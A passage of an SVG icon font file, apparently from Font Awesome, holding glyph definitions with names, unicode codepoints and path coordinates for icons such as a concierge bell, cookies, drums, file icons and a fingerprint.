d="M296 -16c22.0898 0 40 -17.9102 40 -40c0 -4.41992 -3.58008 -8 -8 -8h-240c-4.41992 0 -8 3.58008 -8 8c0 22.0898 17.9102 40 40 40h56v125.22l-168.74 168.73c-15.5195 15.5195 -4.5293 42.0498 17.4199 42.0498h366.641c21.9492 0 32.9395 -26.5303 17.4199 -42.0498
l-168.74 -168.73v-125.22h56zM432 448c79.5303 0 144 -64.4697 144 -144s-64.4697 -144 -144 -144c-27.4102 0 -52.7695 8.08008 -74.5801 21.3799l35.2598 35.2598c12.0303 -5.43945 25.2803 -8.63965 39.3203 -8.63965c52.9297 0 96 43.0596 96 96s-43.0703 96 -96 96
c-35.3701 0 -65.9902 -19.4502 -82.6396 -48h-52.54c19.8301 55.7998 72.5693 96 135.18 96z" />
    <glyph glyph-name="concierge-bell" unicode="&#xf562;" 
d="M288 317.46c108.51 -15.5703 192 -108.64 192 -221.46h-448c0 112.82 83.4902 205.89 192 221.46v18.54h-16c-8.83984 0 -16 7.16016 -16 16v16c0 8.83984 7.16016 16 16 16h96c8.83984 0 16 -7.16016 16 -16v-16c0 -8.83984 -7.16016 -16 -16 -16h-16v-18.54zM496 64
c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-480c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h480z" />
    <glyph glyph-name="cookie" unicode="&#xf563;" 
d="M510.37 193.21c4.37988 -27.6602 -0.110352 -56 -12.8203 -80.96l-35.0996 -68.8701c-10.7695 -21.1328 -36.6592 -47.0273 -57.79 -57.7998l-69.1201 -35.21c-24.8301 -12.6396 -53.0098 -17.1104 -80.5205 -12.75l-76.6992 12.1396
c-23.3896 3.70801 -55.9639 20.3066 -72.71 37.0498l-54.7607 54.75c-16.7959 16.8027 -33.4443 49.4844 -37.1592 72.9502l-12.0801 76.2705c-0.901367 5.68848 -1.63281 14.9805 -1.63281 20.7412c0 17.5723 6.47461 44.541 14.4521 60.1982l35.1006 68.8799
c10.7666 21.1357 36.6562 47.0303 57.79 57.8008l69.1201 35.21c24.8291 12.6494 53.0098 17.1201 80.5195 12.7598l76.7002 -12.1504c27.5303 -4.34961 52.9795 -17.3301 72.71 -37.0498l54.7598 -54.75c16.7969 -16.8027 33.4443 -49.4844 37.1602 -72.9502zM176 80
c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM208 240c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM368 112c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32
s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" />
    <glyph glyph-name="cookie-bite" unicode="&#xf564;" 
d="M510.52 192.18c4.10059 -27.3301 -0.349609 -55.2695 -12.9092 -79.9102l-35.1006 -68.8799c-10.7656 -21.1367 -36.6562 -47.0361 -57.79 -57.8096l-69.1299 -35.21c-24.8301 -12.6504 -53.0195 -17.1201 -80.5303 -12.7598l-76.71 12.1494
c-23.3916 3.70801 -55.9658 20.3105 -72.71 37.0605l-54.7695 54.7598c-16.7969 16.8057 -33.4443 49.4912 -37.1602 72.96l-12.0801 76.2695c-0.900391 5.68945 -1.63184 14.9824 -1.63184 20.7422c0 17.5752 6.47461 44.5479 14.4521 60.208l35.0996 68.8799
c10.7646 21.1396 36.6543 47.0391 57.79 57.8105l69.1299 35.2197c24.5898 12.5205 52.46 16.96 79.7207 12.8203c0.859375 -69.96 57.6895 -126.45 127.859 -126.45c0 -70.1699 56.5 -127.01 126.47 -127.86zM176 80c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32
s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM208 240c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM368 112c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" />
    <glyph glyph-name="crop-alt" unicode="&#xf565;" 
d="M488 96c13.25 0 24 -10.7402 24 -24v-48c0 -13.25 -10.75 -24 -24 -24h-40v-40c0 -13.25 -10.75 -24 -24 -24h-48c-13.25 0 -24 10.75 -24 24v328h-160v96h224c17.6699 0 32 -14.3301 32 -32v-256h40zM160 424v-328h160v-96h-224c-17.6699 0 -32 14.3301 -32 32v256h-40
c-13.25 0 -24 10.75 -24 24v48c0 13.2598 10.75 24 24 24h40v40c0 13.2598 10.75 24 24 24h48c13.25 0 24 -10.7402 24 -24z" />
    <glyph glyph-name="digital-tachograph" unicode="&#xf566;" horiz-adv-x="640" 
d="M608 352c17.6699 0 32 -14.3301 32 -32v-256c0 -17.6699 -14.3301 -32 -32 -32h-576c-17.6699 0 -32 14.3301 -32 32v256c0 17.6699 14.3301 32 32 32h576zM304 96v8c0 4.41992 -3.58008 8 -8 8h-224c-4.41992 0 -8 -3.58008 -8 -8v-8c0 -4.41992 3.58008 -8 8 -8h224
c4.41992 0 8 3.58008 8 8zM72 160c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-16c-4.41992 0 -8 -3.58008 -8 -8v-16zM136 160c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-16
c-4.41992 0 -8 -3.58008 -8 -8v-16zM200 160c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-16c-4.41992 0 -8 -3.58008 -8 -8v-16zM264 160c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8
h-16c-4.41992 0 -8 -3.58008 -8 -8v-16zM304 224v48c0 8.83984 -7.16016 16 -16 16h-208c-8.83984 0 -16 -7.16016 -16 -16v-48c0 -8.83984 7.16016 -16 16 -16h208c8.83984 0 16 7.16016 16 16zM576 96v8c0 4.41992 -3.58008 8 -8 8h-224c-4.41992 0 -8 -3.58008 -8 -8v-8
c0 -4.41992 3.58008 -8 8 -8h224c4.41992 0 8 3.58008 8 8z" />
    <glyph glyph-name="dizzy" unicode="&#xf567;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM152 233.4l28.7002 -28.7002c14.7002 -14.7998 37.7998 7.39941 22.5996 22.5996l-28.7002 28.7002l28.7002 28.7002c15 14.8994 -7.59961 37.5996 -22.5996 22.5996
l-28.7002 -28.7002l-28.7002 28.7002c-14.8994 15 -37.5996 -7.59961 -22.5996 -22.5996l28.7002 -28.7002l-28.7002 -28.7002c-15.2002 -15.0996 7.7998 -37.3994 22.5996 -22.5996zM248 32c35.2998 0 64 28.7002 64 64s-28.7002 64 -64 64s-64 -28.7002 -64 -64
s28.7002 -64 64 -64zM395.3 227.3l-28.7002 28.7002l28.7002 28.7002c15 14.8994 -7.59961 37.5996 -22.5996 22.5996l-28.7002 -28.7002l-28.7002 28.7002c-14.8994 15 -37.5996 -7.59961 -22.5996 -22.5996l28.7002 -28.7002l-28.7002 -28.7002
c-15.2002 -15.0996 7.7998 -37.3994 22.5996 -22.5996l28.7002 28.7002l28.7002 -28.7002c14.7002 -14.7998 37.7998 7.39941 22.5996 22.5996z" />
    <glyph glyph-name="drafting-compass" unicode="&#xf568;" 
d="M457.01 103.58l54.9805 -95.2305l-7.02051 -58.25c-1.2793 -10.5898 -12.3594 -16.9893 -22.1699 -12.7998l-53.9502 23.04l-54.3799 94.1904c29.9102 11.8701 57.4902 28.7197 82.54 49.0498zM499.5 198.14c-52.6201 -83.1299 -144.45 -134.14 -243.5 -134.14
c-35.3799 0 -69.8701 6.71973 -102.06 18.96l-70.8008 -122.63l-53.9492 -23.04c-9.81055 -4.19043 -20.8906 2.20996 -22.1709 12.7998l-7.01953 58.25l71.2803 123.46c-21.29 17.8105 -40.4102 38.3799 -55.9805 62.0205
c-4.99023 7.56934 -2.20996 17.9297 5.64062 22.4697l27.75 16.0703c7.40918 4.29004 16.5898 1.76953 21.3799 -5.33008c9.71973 -14.4102 21.1299 -27.3906 33.6797 -39l68.2998 118.31c-7.43945 13.6299 -12.0498 29.0303 -12.0498 45.6602c0 53.0195 42.9805 96 96 96
s96 -42.9805 96 -96c0 -16.6299 -4.61035 -32.0303 -12.0596 -45.6602l51.79 -89.71c-23.0508 -23.1699 -51.3809 -39.96 -82.6104 -48.9199l-51.0898 88.5c-0.69043 -0.0195312 -1.33984 -0.209961 -2.04004 -0.209961s-1.33984 0.19043 -2.04004 0.209961
l-67.3604 -116.68c22.1797 -7.28027 45.4805 -11.5303 69.4102 -11.5303c76.25 0 147.01 38.8496 188.12 102.38c4.64941 7.17969 13.7803 9.87012 21.2598 5.71973l28.0703 -15.5693c7.93945 -4.40039 10.9102 -14.7207 6.0498 -22.3906zM256 384
c-17.6699 0 -32 -14.3301 -32 -32s14.3301 -32 32 -32s32 14.3301 32 32s-14.3301 32 -32 32z" />
    <glyph glyph-name="drum" unicode="&#xf569;" 
d="M431.34 325.95c44.9004 -16.3398 80.6602 -42.7803 80.6602 -86.1006v-160.229c0 -30.2705 -27.5 -57.6797 -72 -77.8604v101.9c0 13.248 -10.752 24 -24 24s-24 -10.752 -24 -24v-118.93c-33.0498 -9.11035 -71.0703 -15.0605 -112 -16.7305v103.61
c0 13.248 -10.752 24 -24 24s-24 -10.752 -24 -24v-103.61c-40.9297 1.66992 -78.9502 7.62012 -112 16.7305v118.93c0 13.248 -10.752 24 -24 24s-24 -10.752 -24 -24v-101.9c-44.5 20.1807 -72 47.5898 -72 77.8604v160.229c0 107.601 219.55 112.15 256 112.15
c15.2197 0 62.4297 -0.910156 112.19 -9.69043l110.06 71c2.22461 1.4834 6.20117 2.6875 8.875 2.6875c4.72852 0 10.6934 -3.19238 13.3154 -7.12695l8.86914 -13.3105c1.4834 -2.22461 2.6875 -6.20117 2.6875 -8.875c0 -4.72754 -3.19238 -10.6924 -7.12695 -13.3145z
M256 175.76c114.87 0 208 28.6904 208 64.0898c0 21.3105 -33.9102 40.1504 -85.8604 51.75l-118.64 -76.5195c-2.22461 -1.4834 -6.20117 -2.6875 -8.875 -2.6875c-4.72852 0 -10.6934 3.19336 -13.3154 7.12695l-8.86914 13.3105
c-1.48535 2.22559 -2.69043 6.2041 -2.69043 8.87988c0 4.72461 3.18945 10.6875 7.12012 13.3096l72.8096 47c-15.9492 1.2002 -32.5293 1.91016 -49.6797 1.91016c-114.88 0 -208 -28.6797 -208 -64.0801c0 -35.3994 93.1201 -64.0898 208 -64.0898z" />
    <glyph glyph-name="drum-steelpan" unicode="&#xf56a;" horiz-adv-x="576" 
d="M288 416c159.06 0 288 -57.3096 288 -128v-192c0 -70.6904 -128.94 -128 -288 -128s-288 57.3096 -288 128v192c0 70.6904 128.94 128 288 128zM205.01 257.64c5.11035 19.0605 2.49023 38.96 -7.37012 56.0508l-25.5996 44.3398
c-73.9297 -13.6406 -124.04 -39.8701 -124.04 -70.0303c0 -30.7803 52.2305 -57.46 128.7 -70.8398c13.7695 9.91016 23.8594 23.8701 28.3096 40.4795zM288 208c21.0801 0 41.4102 1 60.8896 2.7002c-8.05957 26.1299 -32.1494 45.2998 -60.8896 45.2998
s-52.8301 -19.1699 -60.8896 -45.2998c19.4795 -1.7002 39.8096 -2.7002 60.8896 -2.7002zM352 352v13.04c-20.4004 1.87988 -41.7998 2.95996 -64 2.95996s-43.5996 -1.08008 -64 -2.95996v-13.04c0 -35.29 28.71 -64 64 -64s64 28.71 64 64zM398.93 217.1
c76.6699 13.3604 129.07 40.0703 129.07 70.9004c0 30.21 -50.2803 56.5 -124.44 70.0996l-25.6494 -44.4199c-9.87012 -17.0801 -12.4902 -36.9795 -7.37988 -56.04c4.45996 -16.6396 14.5898 -30.6299 28.3994 -40.54z" />
    <glyph glyph-name="feather-alt" unicode="&#xf56b;" 
d="M512 448c-1.80957 -26.2598 -11.71 -132.86 -53.6201 -234.79l-106.54 -53.21h81.1406c-9.08008 -16.4102 -19.2002 -32.2305 -30.4502 -47.1201l-146.79 -48.8799h100.95c-35.5605 -30.0703 -79.1006 -51.0996 -132.58 -56.54
c-41.8105 -4.83008 -83.8701 -7.21973 -125.96 -7.36035l-57.1309 -57.0693c-9.38965 -9.37012 -24.5996 -9.37012 -33.9795 0s-9.37988 24.5693 0 33.9395l259.5 259.24c6.25 6.25 6.25 16.3799 0 22.6299s-16.4004 6.25 -22.6504 0l-178.87 -178.689
c1.15039 26.7998 2.90039 53.5801 5.99023 80.2393c25.4307 249.41 389.21 284.051 440.99 287.61z" />
    <glyph glyph-name="file-contract" unicode="&#xf56c;" horiz-adv-x="384" 
d="M224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136zM64 376v-16c0 -4.41992 3.58008 -8 8 -8h80c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8
h-80c-4.41992 0 -8 -3.58008 -8 -8zM64 312v-16c0 -4.41992 3.58008 -8 8 -8h80c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-80c-4.41992 0 -8 -3.58008 -8 -8zM256.81 64c-4.19922 0 -8.13965 2.44043 -10.1592 6.5
c-11.9502 23.8604 -46.2305 30.3496 -66 14.1602l-13.8809 41.6396c-3.28906 9.82031 -12.4297 16.4102 -22.7695 16.4102s-19.4805 -6.59961 -22.7803 -16.4102l-18.1895 -54.6396c-1.53027 -4.58008 -5.81055 -7.66016 -10.6406 -7.66016h-12.3896
c-8.83984 0 -16 -7.16016 -16 -16s7.16016 -16 16 -16h12.3896c18.6201 0 35.1104 11.8701 41 29.5303l10.6104 31.8799l16.8301 -50.46c2.03027 -6.14062 7.58008 -10.4404 14.0303 -10.8906c0.389648 -0.0292969 0.759766 -0.0498047 1.13965 -0.0498047h0.00976562
c5.45508 0 11.8613 3.96094 14.2998 8.83984l7.6709 15.3408c2.7998 5.59961 7.93945 6.18945 10.0195 6.18945s7.21973 -0.599609 10.1699 -6.51953c7.37012 -14.7207 22.1904 -23.8604 38.6396 -23.8604h47.1904c8.83984 0 16 7.16016 16 16s-7.16016 16 -16 16h-47.1904z
M377 343c4.5 -4.5 7 -10.5996 7 -16.9004v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7z" />
    <glyph glyph-name="file-download" unicode="&#xf56d;" horiz-adv-x="384" 
d="M224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136zM300.45 100.64c10.1299 10.0703 3.00977 27.3604 -11.2705 27.3604h-65.1797v80
c0 8.83984 -7.16016 16 -16 16h-32c-8.83984 0 -16 -7.16016 -16 -16v-80h-65.1797c-14.2803 0 -21.4004 -17.29 -11.25 -27.3604l96.4199 -95.6992c6.64941 -6.61035 17.3896 -6.61035 24.04 0zM377 343c4.5 -4.5 7 -10.5996 7 -16.9004v-6.09961h-128v128h6.09961
c6.40039 0 12.5 -2.5 17 -7z" />
    <glyph glyph-name="file-export" unicode="&#xf56e;" horiz-adv-x="576" 
d="M384 326.1v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7l97.9004 -98c4.5 -4.5 7 -10.5996 7 -16.9004zM571 140c6.59961 -6.59961 6.59961 -17.4004 0 -24l-95.7002 -96.5c-10.0996 -10.0996 -27.3994 -3 -27.3994 11.2998v65.2002h-64v64h64v65.0996
c0 14.3008 17.2998 21.4004 27.3994 11.3008zM192 112c0 -8.7998 7.2002 -16 16 -16h176v-136c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136c0 -13.2002 10.7998 -24 24 -24h136v-128h-176
c-8.7998 0 -16 -7.2002 -16 -16v-32z" />
    <glyph glyph-name="file-import" unicode="&#xf56f;" 
d="M16 160h112v-64h-112c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16zM505 343c4.5 -4.5 7 -10.5996 7 -16.9004v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7zM352 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24
h-336c-13.2998 0 -24 10.7002 -24 24v136h127.9v-65.0996c0 -14.3008 17.2998 -21.4004 27.3994 -11.3008l95.7002 96.4004c6.59961 6.59961 6.59961 17.2998 0 24l-95.5996 96.5c-10.1006 10.0996 -27.4004 3 -27.4004 -11.2998v-65.2002h-128v264
c0 13.2998 10.7002 24 24 24h200v-136z" />
    <glyph glyph-name="file-invoice" unicode="&#xf570;" horiz-adv-x="384" 
d="M288 192v-64h-192v64h192zM377 343c4.5 -4.5 7 -10.5996 7 -16.9004v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7zM224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464
c0 13.2998 10.7002 24 24 24h200v-136zM64 376v-16c0 -4.41992 3.58008 -8 8 -8h80c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-80c-4.41992 0 -8 -3.58008 -8 -8zM64 312v-16c0 -4.41992 3.58008 -8 8 -8h80c4.41992 0 8 3.58008 8 8v16
c0 4.41992 -3.58008 8 -8 8h-80c-4.41992 0 -8 -3.58008 -8 -8zM320 8v16c0 4.41992 -3.58008 8 -8 8h-80c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h80c4.41992 0 8 3.58008 8 8zM320 208c0 8.83984 -7.16016 16 -16 16h-224
c-8.83984 0 -16 -7.16016 -16 -16v-96c0 -8.83984 7.16016 -16 16 -16h224c8.83984 0 16 7.16016 16 16v96z" />
    <glyph glyph-name="file-invoice-dollar" unicode="&#xf571;" horiz-adv-x="384" 
d="M377 343c4.5 -4.5 7 -10.5996 7 -16.9004v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7zM224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136z
M64 376v-16c0 -4.41992 3.58008 -8 8 -8h80c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-80c-4.41992 0 -8 -3.58008 -8 -8zM64 296c0 -4.41992 3.58008 -8 8 -8h80c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-80c-4.41992 0 -8 -3.58008 -8 -8
v-16zM208 32.1201c23.6201 0.629883 42.6699 20.54 42.6699 45.0703c0 19.9697 -12.9902 37.8096 -31.5801 43.3896l-45 13.5c-5.16016 1.54004 -8.76953 6.78027 -8.76953 12.7295c0 7.27051 5.2998 13.1904 11.7998 13.1904h28.1104
c4.55957 0 8.94922 -1.29004 12.8193 -3.71973c3.24023 -2.03027 7.36035 -1.91016 10.1299 0.729492l11.75 11.21c3.53027 3.37012 3.33008 9.20996 -0.569336 12.1406c-9.10059 6.83984 -20.0801 10.7695 -31.3701 11.3496v24.29c0 4.41992 -3.58008 8 -8 8h-16
c-4.41992 0 -8 -3.58008 -8 -8v-24.1201c-23.6201 -0.629883 -42.6699 -20.5498 -42.6699 -45.0703c0 -19.9697 12.9893 -37.8096 31.5801 -43.3896l45 -13.5c5.15918 -1.54004 8.76953 -6.78027 8.76953 -12.7295c0 -7.27051 -5.2998 -13.1904 -11.7998 -13.1904h-28.1104
c-4.55957 0 -8.9502 1.2998 -12.8193 3.71973c-3.24023 2.03027 -7.36035 1.91016 -10.1309 -0.729492l-11.75 -11.21c-3.5293 -3.37012 -3.3291 -9.20996 0.570312 -12.1406c9.10059 -6.83008 20.0801 -10.7695 31.3701 -11.3496v-24.29c0 -4.41992 3.58008 -8 8 -8h16
c4.41992 0 8 3.58008 8 8v24.1201z" />
    <glyph glyph-name="file-prescription" unicode="&#xf572;" horiz-adv-x="384" 
d="M224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136zM292.53 132.52c-6.25 6.25 -16.3799 6.25 -22.6299 0l-29.9004 -29.8994l-33.46 33.46
c19.8398 10.8701 33.46 31.7002 33.46 55.9199c0 35.3496 -28.6504 64 -64 64h-80c-8.83984 0 -16 -7.16016 -16 -16v-160c0 -8.83984 7.16016 -16 16 -16h16c8.83984 0 16 7.16016 16 16v48h18.7402l59.3193 -59.3096l-30.0596 -30.0605
c-6.25 -6.25 -6.25 -16.3799 0 -22.6299l11.3096 -11.3096c6.25 -6.25 16.3809 -6.25 22.6309 0l30.0596 30.0596l30.0596 -30.0703c6.25 -6.25 16.3809 -6.25 22.6309 0l11.3096 11.3105c6.25 6.25 6.25 16.3799 0 22.6299l-30.0596 30.0596l29.8994 29.9004
c6.25 6.25 6.25 16.3799 0 22.6299zM176 176h-48v32h48c8.82031 0 16 -7.17969 16 -16s-7.17969 -16 -16 -16zM384 326.1v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7l97.9004 -98c4.5 -4.5 7 -10.5996 7 -16.9004z" />
    <glyph glyph-name="file-signature" unicode="&#xf573;" horiz-adv-x="576" 
d="M218.17 23.8604c7.25 -14.4707 21.71 -23.4404 37.8301 -23.75l128 -0.110352v-40c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136c0 -13.2002 10.7998 -24 24 -24h136.01v-46.5498l-128 -127.09
v-82.1201c-3.87012 0.30957 -7.46973 2.47949 -9.35938 6.25977c-11.9404 23.8604 -46.25 30.3496 -66 14.1602l-13.8809 41.6396c-3.28906 9.82031 -12.4297 16.4102 -22.7695 16.4102s-19.4805 -6.59961 -22.7803 -16.4102l-18.1895 -54.6396
c-1.53027 -4.58008 -5.81055 -7.66016 -10.6406 -7.66016h-12.3896c-8.83984 0 -16 -7.16016 -16 -16s7.16016 -16 16 -16h12.3896c18.6201 0 35.1104 11.8701 41 29.5303l10.6104 31.8799l16.8301 -50.4697c4.4502 -13.46 23.1104 -14.8701 29.4795 -2.09082
l7.6709 15.3408c2.7998 5.59961 7.93945 6.18945 10.0195 6.18945s7.21973 -0.599609 10.1699 -6.51953zM384 326.1v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7l97.9004 -98c4.5 -4.5 7 -10.5996 7 -16.9004zM288 101.04l162.79 161.62l67.8799 -67.8799
l-161.68 -162.78h-68.9902v69.04zM568.54 280.67c9.9502 -9.93945 9.9502 -26.0703 0 -36.0098l-27.25 -27.25l-67.8799 67.8799l27.25 27.25c9.93945 9.94043 26.0703 9.94043 36.0098 0z" />
    <glyph glyph-name="file-upload" unicode="&#xf574;" horiz-adv-x="384" 
d="M224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136zM289.18 95.9902c14.2803 0 21.4004 17.29 11.25 27.3594l-96.4199 95.7002
c-6.64941 6.61035 -17.3896 6.61035 -24.04 0l-96.4199 -95.7002c-10.1396 -10.0693 -3.00977 -27.3594 11.2705 -27.3594h65.1797v-80c0 -8.83984 7.16016 -16 16 -16h32c8.83984 0 16 7.16016 16 16v80h65.1797zM377 343c4.5 -4.5 7 -10.5996 7 -16.9004v-6.09961h-128
v128h6.09961c6.40039 0 12.5 -2.5 17 -7z" />
    <glyph glyph-name="fill" unicode="&#xf575;" 
d="M502.63 230.94c12.4902 -12.5 12.4902 -32.7607 0 -45.2607l-221.57 -221.569c-18.75 -18.75 -43.3096 -28.1201 -67.8799 -28.1201c-24.5596 0 -49.1201 9.37988 -67.8701 28.1201l-117.189 117.189c-37.4902 37.4902 -37.4902 98.2598 0 135.75l94.7598 94.7598
l-86.1895 86.1807c-6.24023 6.25 -6.24023 16.3799 0 22.6299l22.6191 22.6104c6.24023 6.25 16.3809 6.25 22.6201 0l86.1807 -86.1807l81.5801 81.5801c6.23926 6.25 14.4297 9.37012 22.6191 9.37012c8.19043 0 16.3809 -3.12012 22.6309 -9.37012zM386.41 159.97
l48.3496 48.3398l-162.45 162.44l-58.9492 -58.9502l58.6094 -58.5996c12.4902 -12.4902 12.4902 -32.75 0 -45.2402c-12.4893 -12.4902 -32.75 -12.4902 -45.2393 0l-58.6104 58.5996l-81.6104 -81.6094l-13.1494 -13.1504
c-3.86035 -3.84961 -6.07031 -7.99023 -7.43066 -11.8301h320.48z" />
    <glyph glyph-name="fill-drip" unicode="&#xf576;" horiz-adv-x="576" 
d="M512 128c0 0 64 -92.6504 64 -128s-28.6602 -64 -64 -64s-64 28.6504 -64 64s64 128 64 128zM502.63 230.94c12.4902 -12.5 12.4902 -32.75 -0.00976562 -45.25l-221.57 -221.57c-18.7402 -18.75 -43.2998 -28.1201 -67.8701 -28.1201
c-24.5596 0 -49.1299 9.37988 -67.8701 28.1201l-117.189 117.189c-37.4902 37.4902 -37.4902 98.2705 0 135.75l94.7598 94.7607l-86.1895 86.1797c-6.24023 6.24023 -6.24023 16.3701 0 22.6201l22.6191 22.6201c6.24023 6.25 16.3701 6.25 22.6201 0l86.1807 -86.1904
l81.5801 81.5801c6.23926 6.25 14.4297 9.37012 22.6191 9.37012c8.19043 0 16.3809 -3.12012 22.6309 -9.37012zM386.41 159.97l48.3398 48.3398l-162.44 162.44l-58.9492 -58.9502l58.5996 -58.5996c12.4902 -12.4902 12.4902 -32.75 0 -45.2402
s-32.75 -12.4902 -45.2402 0l-58.5996 58.5996l-81.6104 -81.6094l-13.1494 -13.1504c-3.86035 -3.84961 -6.07031 -7.99023 -7.43066 -11.8301h320.48z" />
    <glyph glyph-name="fingerprint" unicode="&#xf577;" 
d="M256.12 202.04c13.2598 0 24 -10.75 23.9902 -24c1.55957 -99.1104 -15.9502 -176.61 -29.4805 -224.521c-2.97949 -10.5996 -12.6104 -17.5195 -23.0898 -17.5195c-20.9697 0 -25.8496 20.7695 -23.1201 30.4902c19.5605 69.6494 28.8398 139.3 27.7002 211.55
c0 13.2598 10.75 24 24 24zM255.26 283.77c56.9707 -0.839844 104.03 -46.9199 104.91 -102.72c0.790039 -50.8994 -2.99023 -102.08 -11.2695 -152.109c-0.770508 -4.6709 -7.61035 -23.1006 -27.5801 -19.7705c-13.0703 2.16016 -21.9307 14.5205 -19.7607 27.5801
c7.80078 47.2197 11.3809 95.5 10.6104 143.55c-0.469727 30.1299 -26.3096 55 -57.6201 55.4697c-34.5303 0.150391 -54.8594 -26.3896 -54.4502 -52.3398c0.800781 -51.4395 -4.0293 -102.93 -14.3691 -153.02c-2.69043 -12.9805 -15.3105 -21.3105 -28.3604 -18.6406
c-12.9697 2.6709 -21.3301 15.3809 -18.6396 28.3604c9.61914 46.6396 14.1191 94.6104 13.3691 142.55c-0.849609 54.0205 41.9004 101.16 103.16 101.09zM144.57 303.55c10.2793 -8.37012 11.8398 -23.4795 3.48926 -33.7598
c-18.7998 -23.0898 -28.4697 -51.0898 -28 -80.9697c0.640625 -40.6699 -2.66992 -81.4902 -9.85938 -121.33c-0.820312 -4.5498 -7.78027 -22.8604 -27.8906 -19.3604c-13.0498 2.36035 -21.6992 14.8398 -19.3594 27.8896c6.63965 36.7803 9.7002 74.4707 9.10938 112.051
c-0.639648 40.7197 13.1309 80.5 38.75 112c8.39062 10.2793 23.46 11.8193 33.7607 3.47949zM254.04 365.88c101.09 -1.5 184.6 -83.0801 186.16 -181.83c0.0615234 -3.97852 0.111328 -10.4375 0.111328 -14.417c0 -29.1934 -2.68848 -76.4277 -6.00195 -105.433
c-1.06934 -9.23047 -9.85938 -23.0605 -26.5791 -21.1104c-13.1602 1.5 -22.6104 13.4102 -21.1104 26.5801c4.2998 37.5205 6.16992 75.75 5.58008 113.63c-1.15039 73.0801 -63.4502 133.45 -138.88 134.58c-11.5303 0.0800781 -22.9502 -1.08008 -34 -3.68945
c-12.8906 -3 -25.8301 4.93945 -28.8906 17.8291c-3.04004 12.9102 4.94043 25.8301 17.8301 28.8906c14.9102 3.53027 30.3701 5.37988 45.7803 4.96973zM506.11 244.43c6.22949 -28.2295 6.00977 -50.1602 5.83008 -72.3398
c-0.110352 -13.1895 -10.8301 -23.7998 -24 -23.7998h-0.200195c-13.25 0.110352 -23.9102 10.9297 -23.7998 24.2002c0.209961 24.1895 0.00976562 40.1895 -4.7002 61.5996c-2.86035 12.9502 5.31934 25.75 18.2598 28.6104
c13.0996 2.92969 25.75 -5.35059 28.6104 -18.2705zM465.99 335.15c7.62012 -10.8408 5 -25.8105 -5.83984 -33.4307c-10.8604 -7.58984 -25.8105 -5 -33.4199 5.86035c-39.8906 56.8301 -105.171 91.3604 -174.62 92.3896
c-56.3408 0.810547 -108.92 -20.0596 -147.681 -58.8594c-37.1201 -37.1406 -57.1094 -86.5 -56.2793 -139l-0.160156 -23.6406c-0.379883 -13 -11.0498 -23.2998 -23.9707 -23.2998c-0.239258 0 -0.489258 0 -0.719727 0.0205078
